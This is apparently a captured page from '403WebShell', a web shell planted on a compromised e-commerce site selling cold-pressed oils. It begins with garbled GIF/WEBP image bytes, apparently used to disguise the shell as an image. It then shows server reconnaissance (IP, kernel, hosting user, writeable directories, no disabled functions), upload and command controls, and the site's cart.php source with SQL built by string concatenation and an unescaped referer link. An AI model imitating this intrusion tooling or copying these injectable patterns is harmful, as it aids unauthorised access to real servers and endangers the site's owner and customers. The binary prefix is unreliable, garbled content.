RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 3.137.186.35
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/dharmacoldpressedoil.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/dharmacoldpressedoil.com/public_html/cart.php
<?php
   include_once("header.php");
    /*============= Offers Discount Function =============*/
    function offers_discount($p_id='', $qty=''){
        $sel_obj         = new config(); 
        $p_cond="`p_id`=".$p_id;
        $p_qu=$sel_obj->display_rcd("product",$p_cond);
        if(is_array($p_qu) AND !empty($p_qu))
        {
           foreach($p_qu as $p_da)
           {
             
           }
        }
        $offer_array = array(
                'offer_discount_amount' => 0 , 
                'offer_name' => NULL,
                'shipping_price' => $p_da['shipping_price'], 
                'packaging_price' => $p_da['packaging_price']
            );
        $total_amount = $p_da['d_price']*$qty;
        $offers = json_decode($p_da['offers'], true);
        if (!empty($offers)) {
            foreach ($offers as $offer) {
                if ($qty >= $offer['offer_qty']) {
                    if ($offer['offer_discount_type']=="percent") {
                        $offer_discount_amount = ($offer['offer_discount']*$total_amount)/100;
                    }
                    if ($offer['offer_discount_type']=="flat") {
                        $offer_discount_amount = $offer['offer_discount'];
                    }
                    if ($offer['free_delivery']==1) {
                        $shipping_price = 0;
                    }else{
                        $shipping_price = $p_da['shipping_price'];
                    }
                    if ($offer['free_packaging']==1) {
                        $packaging_price = 0;
                    }else{
                        $packaging_price = $p_da['packaging_price'];
                    }
                    $offer_array = array(
                        'offer_discount_amount' => round($offer_discount_amount) , 
                        'offer_name' => $offer['offer_title'],
                        'shipping_price' => $shipping_price, 
                        'packaging_price' => $packaging_price 
                    );
                }
            }
            return $offer_array;
        }else {
            $offer_array = array(
                'offer_discount_amount' => 0 , 
                'offer_name' => NULL,
                'shipping_price' => $p_da['shipping_price'], 
                'packaging_price' => $p_da['packaging_price']
            );
            return $offer_array;
        }
        
    }
    // $off_array = offers_discount(1050, 8);
    // print_r($off_array);
    // die();
    /*====================================================*/
    /*----- Back Url ----*/
    if ($_SERVER['HTTP_REFERER']) {
       $back_url = $_SERVER['HTTP_REFERER'];
     }  else{
       $back_url = "#";
     }
  ?>
<div class="my_load">
   <div id="full_load">
      <!-- Header End -->
      <!-- Breadcrumb Area start -->
      <section class="breadcrumb-area">
         <div class="container">
            <div class="row">
               <div class="col-md-12">
                  <div class="breadcrumb-content">
                     <h1 class="breadcrumb-hrading">Cart</h1>
                     <ul class="breadcrumb-links">
                        <li><a href="index.php">Home</a></li>
                        <li><a href="<?php echo $back_url; ?>">Back</a></li>
                        <li>Cart</li>
                     </ul>
                  </div>
               </div>
            </div>
         </div>
      </section>
      <!-- Breadcrumb Area End -->
      <!-- cart area start -->
      <div class="cart-main-area mtb-60px">
        <div class="container">
          <!--<div class="text-center">-->
          <!--  <b class="text-center">-->
          <!--    <a href="saved_item.php">Go to your saved items</a>-->
          <!--  </b>-->
          <!--</div>-->
        </div>
         <?php
            if(isset($checksession) and !empty($checksession))
            {
                $where_con="`user_id`="."'$checksession' AND `status`= 1";
                $count = $sel_obj->all_count_row('temp_cart',$where_con);
            }
            else
            {
                $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                $count = $sel_obj->all_count_row('temp_cart',$where_con);
            }
            
            if($count>=1)
            { 
            ?>
         <div class="container">
            <h3 class="cart-page-title">Your cart items</h3>
            <div class="row">
               <div class="col-lg-12 col-md-12 col-sm-12 col-12" >
                  <form action="#" class="cartbosh">
                     <div class="table-content table-responsive cart-table-content">
                        <table class="table table-bordered">
                           <thead>
                              <tr>
                                 <th>Image</th>
                                 <th>Product Name</th>
                                 <th style="padding:10px;">Unit Price</th>
                                 <th style="padding:10px;">Qty</th>
                                 <th>Subtotal</th>
                                 <th>GST</th>
                                 <th>total</th>
                                 <th style="padding:10px;">Weight</th>
                                 <th style="padding:4px!important;">Remove</th>
                                 <th style="padding:4px!important;">Save</th>
                              </tr>
                           </thead>
                           <tbody>
                              <?php
                                 if(isset($checksession) and !empty($checksession))
                                 {
                                     $where_con="`user_id`="."'$checksession' AND `status`= 1";
                                     $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                 }
                                 else
                                 {
                                      $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                                      $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                 }
                                      if(is_array($fetch_temp_cart) || is_object($fetch_temp_cart))
                                      {
                                          $total_gst = 0;
                                          $sub_total=""; 
                                          $shipping_charge = 0;
                                          $packaging_charge = 0;
                                          $shipp_discount = 0;
                                         foreach($fetch_temp_cart as $temp_items)
                                         {
                                          /*----Product Info ------*/
                                          $p_id = $temp_items['p_id'];
                                          $get_product_condition="`p_id`="."'$p_id'";
                                          $get_product_query=$sel_obj->display_rcd("product",$get_product_condition);
                                          foreach($get_product_query as $get_product)
                                            {
                                            }
                                          /*---- check Quantity -------*/
                                          if ($get_product['quan_available']<1) {
                                            $where = array(   
                                                 'id'     =>  $temp_items['id'],
                                                 'status'     =>  1 
                                            );  
                                            $sel_obj->delete("temp_cart", $where);
                                          }
                                          if ($temp_items['quantity'] > intval($get_product['quan_available'])) {
                                              $quantity = intval($get_product['quan_available']);
                                          }else{
                                            $quantity = $temp_items['quantity'];
                                          }
                                          /*----Update Cart Values ----*/
                                          $check_data = array(
                                            'id' => $temp_items['id'],
                                          );
                                          $update_data = array(
                                            'p_name' => $get_product['p_name'],
                                            'p_code' => $get_product['p_code'],
                                            'img' => $get_product['p_img'],
                                            'price' => $get_product['price'],
                                            'd_price' => $get_product['d_price'],
                                            'gst' => $get_product['gst'],
                                            'quantity' => $quantity,
                                            // 'shipping_price' => $get_product['shipping_price'],
                                            // 'packaging_price' => $get_product['packaging_price']
                                          );
                                          /*---------- Check Offer Discount -------------*/
                                          $off_array = offers_discount($temp_items['p_id'], $quantity);
                                              $update_data['shipping_price'] = $off_array['shipping_price'];
                                              $update_data['packaging_price'] = $off_array['packaging_price'];
                                              $update_data['offer_discount'] = $off_array['offer_discount_amount'];
                                              $update_data['offer_name'] = $off_array['offer_name'];
                                          /*---------------------------------------------*/
                                          $update_rating=$sel_obj->update('temp_cart', $update_data, $check_data);
                                          /*---------------------------*/
                                             if($temp_items['d_price']!='')
                                             {
                                                 $price=$temp_items['d_price'];
                                             }
                                             else
                                             {
                                                 $price=$temp_items['price'];
                                             }
                                          
                                             $gst=str_replace("%"," ",$temp_items['gst']);
                                 
                                  ?> 
                              <tr>
                                 <td class="product-thumbnail">
                                    <a href="product_details.php?p_id=<?php echo $temp_items['p_id'];?>"><img class="img-responsive" src="admin/upload/<?php echo $temp_items['img'];?>" alt="" /></a>
                                 </td>
                                 <td class="product-name">
                                    <a href="product_details.php?p_id=<?php echo $temp_items['p_id'];?>"><?php echo $temp_items['p_name'];?></a>
                                    <input type="hidden" value="<?php echo $temp_items['p_id'];?>" id="p_id<?php echo $temp_items['id'];?>">
                                 </td>
                                 <td class="product-price-cart3">
                                    <span class="amount">₹<?php echo round($price, 2);?></span>
                                 </td>
                                 <script>
                                    $(document).ready(function(){
                                      var aValue = $('#qtn<?php echo $temp_items['id'];?>').val();
                                      if (aValue == 0) {
                                        $('#qtn<?php echo $temp_items['id'];?>').val('1');
                                      }
                                    });
                                 </script>
                                 <td class="product-quantity">
                                    <div class="cart-plus-minus">
                                       <div class="dec qtybutton" id="qty_dec<?php echo $temp_items['id'] ?>">-</div>
                                       <input class="cart-plus-minus-box" type="number" id="qtn<?php echo $temp_items['id'];?>" value="<?php echo $temp_items['quantity'];?>" min="1"/>
                                       <div class="inc qtybutton" id="qty_inc<?php echo $temp_items['id'] ?>">+</div>
                                    </div>
                                 </td>
                                 <td class="product-subtotal">
                                    <?php $totalamount=($temp_items['quantity']*$price); 
                                       echo "₹". round($totalamount,'2');?>
                                 </td>
                                 <td>
                                    <?php  
                                       if ($gst!="") {
                                         echo $gst."%";
                                       }else{
                                         echo "0%";
                                       }
                                       ?>
                                 </td>
                                 <td class="product-subtotal">
                                    <?php         
                                       $finalgst=$sel_obj->get_percentage($totalamount,$gst); 
                                       $finaltotal=$finalgst+$totalamount;
                                       echo "₹". round($finaltotal,'2');
                                       
                                        $total_gst+=$finalgst;
                                        $sub_total+=$totalamount;
                                        $packaging_charge += $temp_items['packaging_price']*$temp_items['quantity'];
                                        /*------- Shipping Charge -------*/
                                        $shipping_charge += $temp_items['shipping_price']*$temp_items['quantity'];
                                        /*------ Offer DIscount ---------*/
                                        $offer_discount += $temp_items['offer_discount'];
                                        /*---------------------------------*/
                                        /*------------ Dimension / Volume -----*/
                                        $volume += $get_product['length_cm'] * $get_product['breadth_cm'] * $get_product['height_cm'] * $temp_items['quantity'];
                                        /*------------- Height ---------------*/
                                        $total_height += $get_product['height_cm']*$temp_items['quantity'];;
                                        $length_array[] = $get_product['length_cm'];
                                        $breadth_array[] = $get_product['breadth_cm'];
                                        /*--------- Sorting --------*/
                                         rsort($length_array);
                                         rsort($breadth_array);
                                        /*-------------------------------------*/
                                       ?>
                                 </td>
                                 <td>
                                  <!-- ---- Weight ------- -->
                                  <?php
                                    $sum_weight = $get_product['weight']*$temp_items['quantity'];
                                  ?>
                                  <?php if($get_product['weight']!=0){ ?>
                                    <span ><?php echo round($sum_weight, 2);?>Kg</span>
                                  <?php } ?>
                                  <!-- --------------------- -->
                                 </td>
                                 <td class="product-remove">
                                    <a href="javascript:;" style="color:#fff;" id="update<?php echo $temp_items['id'] ?>" data-id="<?php echo $temp_items['id'];?>" 
                                       class="btn btn-primary btn-xs qtybuttonupdate d-none"><i class="fa fa-refresh" aria-hidden="true"></i> update</a>
                                    <a class="btn btn-danger btn-xs" style="color:#fff;" href="action.php?remove=<?php echo base64_encode($temp_items['id']);?>" onclick="return confirm('Do you want to delete..?');"><i class="fa fa-times"></i></a>
                                 </td>
                                 <td class="">
                                    <a class="btn btn-primary btn-xs" style="color:#fff;" href="action.php?savetolater=<?php echo base64_encode($temp_items['id']);?>">Save for later</a>
                                 </td>
                              </tr>
                              <script>
                                 $(document).ready(function(){
                                   $("#qtn<?php echo $temp_items['id'];?>").change(function() {
                                     var aValue = $('#qtn<?php echo $temp_items['id'];?>').val();
                                     if (aValue < 0 || aValue == 0) {
                                       $('#qtn<?php echo $temp_items['id'];?>').val('1');
                                     }
                                     // alert("UDIT");
                                     $("#update<?php echo $temp_items['id'] ?>").trigger('click'); 
                                   });
                                   /*----------- + Button ---------------*/
                                   $("#qty_inc<?php echo $temp_items['id'] ?>").on("click", function() {
                                       var $button = $(this);
                                       var oldValue = $button.parent().find("input").val();
                                       if ($button.text() === "+") {
                                           var newVal = parseFloat(oldValue) + 1;
                                       } else {
                                           // Don't allow decrementing below zero
                                           if (oldValue > 1) {
                                               var newVal = parseFloat(oldValue) - 1;
                                           } else {
                                               newVal = 1;
                                           }
                                       }
                                       $button.parent().find("input").val(newVal);
                                       $("#update<?php echo $temp_items['id'] ?>").trigger('click'); 
                                   });
                                   /*----------- - Button ---------------*/
                                   $("#qty_dec<?php echo $temp_items['id'] ?>").on("click", function() {
                                       var $button = $(this);
                                       var oldValue = $button.parent().find("input").val();
                                       if ($button.text() === "+") {
                                           var newVal = parseFloat(oldValue) + 1;
                                       } else {
                                           // Don't allow decrementing below zero
                                           if (oldValue > 1) {
                                               var newVal = parseFloat(oldValue) - 1;
                                           } else {
                                               newVal = 1;
                                           }
                                       }
                                       $button.parent().find("input").val(newVal);
                                       $("#update<?php echo $temp_items['id'] ?>").trigger('click'); 
                                   });
                                 /*-------------------------------------*/
                                 });
                              </script>
                              <?php $total_weight +=  $sum_weight;  }   }    ?>
                           </tbody>
                        </table>
                     </div>
                     <div class="row">
                        <div class="col-lg-12">
                           <div class="cart-shiping-update-wrapper">
                              <div class="cart-shiping-update">
                                 <a href="index.php" style="background: #28a745; color: #fff;">Continue Shopping</a>
                              </div> 
                              <div class="cart-clear">
                                  <a href="saved_item.php" class="btn" style="background:#E12229; color: #fff;">Go to your saved items</a>
                              </div>
                           </div>
                        </div>
                     </div>
                  </form>
                  <div class="row mt-2">
                     <div class="col-lg-6 col-md-6 col-sm-12">
                     <?php
                      if(isset($checksession) and !empty($checksession))
                       {
                          $where_con_u="`id`="."'$checksession'";
                          $query_u=$sel_obj->display_rcd('tblusers',$where_con_u);
                          if(is_array($query_u) || !empty($query_u))
                         {
                            foreach ($query_u as $different_data )
                             {
                                                
                             }
                         }
                         if($different_data['str_address1']!=""){
                      ?>
                       <div class="card mb-4 div_load " style="min-height: 10px;">
                         <h6 class="bg-info pl-4 pt-1 pb-1 text-light">Deliver To : </h6>
                         <div class="p-4">
                           <address>
                               <b><?php echo $different_data['FullName']." ".$different_data['last_name'];?></b><br>
                               <?php echo $different_data['str_address1'];?>
                               <?php echo $different_data['str_address2'];?><br>
                               <?php echo $different_data['town'];?><br>
                               <?php echo $different_data['state']." - ".$different_data['pincode'];?><br>
                               Email : <?php echo $different_data['UserEmail'];?><br>
                               Phone : <b><?php echo $different_data['phonenumber'];?></b><br>
                            </address>
                         </div>
                         <div class="place">
                           <?php 
                           $address = $different_data['str_address1'].", ".$different_data['str_address2'].", ".$different_data['town'].", ".$different_data['state']." - ".$different_data['pincode'];
                            echo '<iframe width="100%" height="280" frameborder="0" src="https://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=' . str_replace(",", "", str_replace(" ", "+", $address)) . '&z=14&output=embed"></iframe>';
                            ?>
                         </div>
                      </div>
                    <?php } } ?>
                     </div>
                     <?php 
                        // $shipping_charge = max(array_column($fetch_temp_cart, 'shipping_price'));
                        /*----- New Shipping Charge ------*/
                        if ($shipping_charge>100 && $shipping_charge<181) {
                          $shipp_discount = ($shipping_charge*10)/100;
                        }
                        if ($shipping_charge>180 && $shipping_charge<251) {
                          $shipp_discount = ($shipping_charge*20)/100;
                        }
                        if ($shipping_charge>250) {
                          $shipp_discount = ($shipping_charge*30)/100;
                        }
                        
                        $shipping_charge = $shipping_charge-$shipp_discount;
                        if ($shipping_charge>300) {
                          $shipping_charge = 300;
                        }else{
                          $shipping_charge = $shipping_charge;
                        }
                        /*------ New Packaging Charge ----*/
                        if ($packaging_charge>250) {
                          $packaging_charge = 250;
                        }else{
                          $packaging_charge = $packaging_charge;
                        }
                        /*--------------------------------*/
                        $grandTotal  = $sub_total;
                        $sub_total = $sub_total+$shipping_charge;
                        
                      ?>
                     <div class="col-lg-6 col-md-6 col-sm-12">
                        <div class="grand-totall cartbosh">
                           <div class="title-wrap">
                              <h4 class="cart-bottom-title section-bg-gary-cart">Cart Total</h4>
                           </div>
                           <input type="hidden" name="weight" id="weight" value="<?php echo $total_weight; ?>">
                           <input type="hidden" value="<?php echo round($grandTotal,'2');?>" id="subtotal_input">
                           <input type="hidden" value="<?php echo $temp_session_id;?>" id="temp_id">
                           <input type="hidden" value="<?php echo $checksession;?>" id="user_id">
                           <h5>Sub Total <span id="subtotal_div">₹<?php echo round($grandTotal,'2');?></span></h5>
                           <h5>Total TAX <span>₹<?php echo round($total_gst,'2');?></span></h5>
                           <?php if($total_weight!=0){ ?>
                           <h5>Total Weight <span><?php echo round($total_weight,'2');?>Kg</span></h5>
                           <?php } ?>

                           <?php if($offer_discount!=0){ ?>
                           <h5>Offer Discount <span>₹<?php echo round($offer_discount,'2');?></span></h5>
                           <?php } ?>

                           <div class="l_shiping">
                              <div class="total-shipping">
                                 <!-- <h5>Total Shipping</h5> -->
                                 <ul>
                                    <li>
                                       <h5>Shipping Charge <span id="shipping_cost_div">₹<?php echo round($shipping_charge,2); ?></span></h5>
                                    </li>
                                    <br>
                                    <li>
                                       <h5>Packaging Charge <span>₹<?php echo round($packaging_charge,2); ?></span></h5>
                                    </li>
                                 </ul>
                              </div>
                           </div>
                           <h4 class="grand-totall-title">Grand Total 
                              <?php
                                 $grandtotal=($grandTotal+$total_gst);
                                 $grandtotal=($grandtotal+ $shipping_charge+ $packaging_charge - $offer_discount);
                               ?>
                              <span id="t_price_div"><?php echo "₹". @round($grandtotal); ?></span>
                           </h4>
                           <!-- ======================= For Shiprocket ================== -->
                           <input type="hidden" name="pincode" id="pincode" value="<?php echo $different_data['pincode']; ?>">
                           <!-- ============== Dimensions ======== -->
                          <input type="hidden" name="length" id="length" value="<?php echo round($length_array[0],2);?>">
                          <input type="hidden" name="breadth" id="breadth" value="<?php echo round($breadth_array[0],2);?>">
                          <input type="hidden" name="height" id="height" value="<?php echo round($total_height,2);?>">
                          <!-- ================================== -->
                          <input type="hidden" name="t_price" id="t_price_input" value="<?php echo round($grandtotal);?>">
                          <input type="hidden" name="shipping_price" id="shipping_cost_input" value="<?php echo round($shipping_charge,2); ?>">
                          <input type="hidden" name="packaging_price" value="<?php echo round($packaging_charge,2); ?>">
                          <input type="hidden" name="weight" id="weight" value="<?php echo round($total_weight,3);?>">
                          <!-- ========================================================== -->
                           <a href="javascript:;" class="" id="proceed">Proceed to Checkout</a>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <?php
            }
            else
            {
            ?>
         <div class="container">
            <div class="row">
               <div class="col-lg-12 col-md-12 col-sm-12 col-12 text-center">
                  <img src="assets/images/emptycart.jpg">
               </div>
            </div>
         </div>
         <?php
            }
            ?>
      </div>
      <!-- cart area end -->
      <!-- Footer Area start -->
   </div>
</div>
<?php include_once("footer.php");?>
<script type="text/javascript">
  $(document).ready(function() {
    var pincode = $("#pincode").val();
    var weight = $("#weight").val();
    var shipping_cost = $("#shipping_cost_input").val();
    var t_price = $("#t_price_input").val();
    var check_cod = 1;
    var subtotal_cost = $("#subtotal_input").val();
   /*--------------- Check COD -----------*/
    if (pincode!='') {
        $.ajax({
        url:'ajax_action.php',
        method:'POST',
        data:{pincode:pincode, weight:weight, check_cod:check_cod, shipping_cost:shipping_cost, subtotal:subtotal_cost, t_price:t_price},
        success:function(responce){
            var obj = JSON.parse(responce);
           if (obj.cod == '0'){
            // alert(obj.rate);
              // alert('COD not available at this pincode'); 
            console.log(responce);
              $('#Cash1').attr("disabled",true); 
           }
           $("#shipping_cost_div").html("₹"+obj.rate);
           $("#shipping_cost_input").val(obj.rate);

           $("#subtotal_input").val(obj.subtotal);
           $("#subtotal_div").html("₹"+obj.subtotal);

